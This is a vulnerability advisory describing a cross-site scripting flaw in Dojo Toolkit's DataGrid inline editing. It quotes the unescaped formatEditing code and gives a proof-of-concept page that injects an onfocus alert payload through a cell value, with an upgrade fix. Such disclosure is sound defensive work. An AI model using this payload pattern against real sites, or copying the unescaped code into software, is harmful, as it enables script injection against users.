~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Dojo Toolkit is a JavaScript framework for building JavaScript based
applications.

The manufacturer describes the product as follows (see [1]):

"A JavaScript toolkit that saves you time and scales with your
development process.
Provides everything you need to build a Web app.
Language utilities, UI components, and more, all in one place, designed
to work together perfectly."

Due to improper escaping, applications using Dojo Toolkit may be
vulnerable to
cross-site scripting.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The inline editing feature of the dojox.grid.DataGrid component fails to
properly
escape the cell value when using it as the input field's value attribute
while
editing is activated by clicking.

> formatEditing: function(inDatum, inRowIndex){
> this.needFormatNode(inDatum, inRowIndex);
> return '<input class="dojoxGridInput" type="text" value="' +
inDatum + '">';
> },


That allows additional element attributes to be introduced, including an
"onfocus"
handler that will immediately get executed when editing mode is activated.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof-of-Concept (PoC):


Demo website with Dojo's dojox.grid.DataGrid component:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<style type="text/css">
@import
"https://ajax.googleapis.com/ajax/libs/dojo/1.13.0/dojox/grid/resources/Grid.css";
html, body {
width: 100%; height: 100%;
}
</style>
</head>
<body>
<script type="text/javascript"
src="https://ajax.googleapis.com/ajax/libs/dojo/1.13.0/dojo/dojo.js"></script>
<script type="text/javascript">
dojo.require("dojox.grid.DataGrid");
dojo.require("dojo.data.ItemFileWriteStore");

dojo.addOnLoad(function(){
var g = new dojox.grid.DataGrid({
store: new dojo.data.ItemFileWriteStore({
data: {"items" : [ {"foo" : 'bar" onfocus="alert(1)"'} ] }
}),
structure: [
{ field: 'foo', width : '100%', editable: true }
]
});
dojo.byId("container").appendChild(g.domNode);
g.startup();
});
</script>
<div id="container" style="width: 100%; height: 100%;"></div>
</body>
</html>

When clicking the table row to start editing, the cell value is inserted
into a
text input's value attribute without proper escaping, resulting in
markup like

<input class="dojoxGridInput" value="bar" onfocus="alert(1)" "=""
type="text">

which introduces JavaScript code in the "onfocus" handler that gets
immediately
executed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to version 1.14 of Dojo Toolkit.
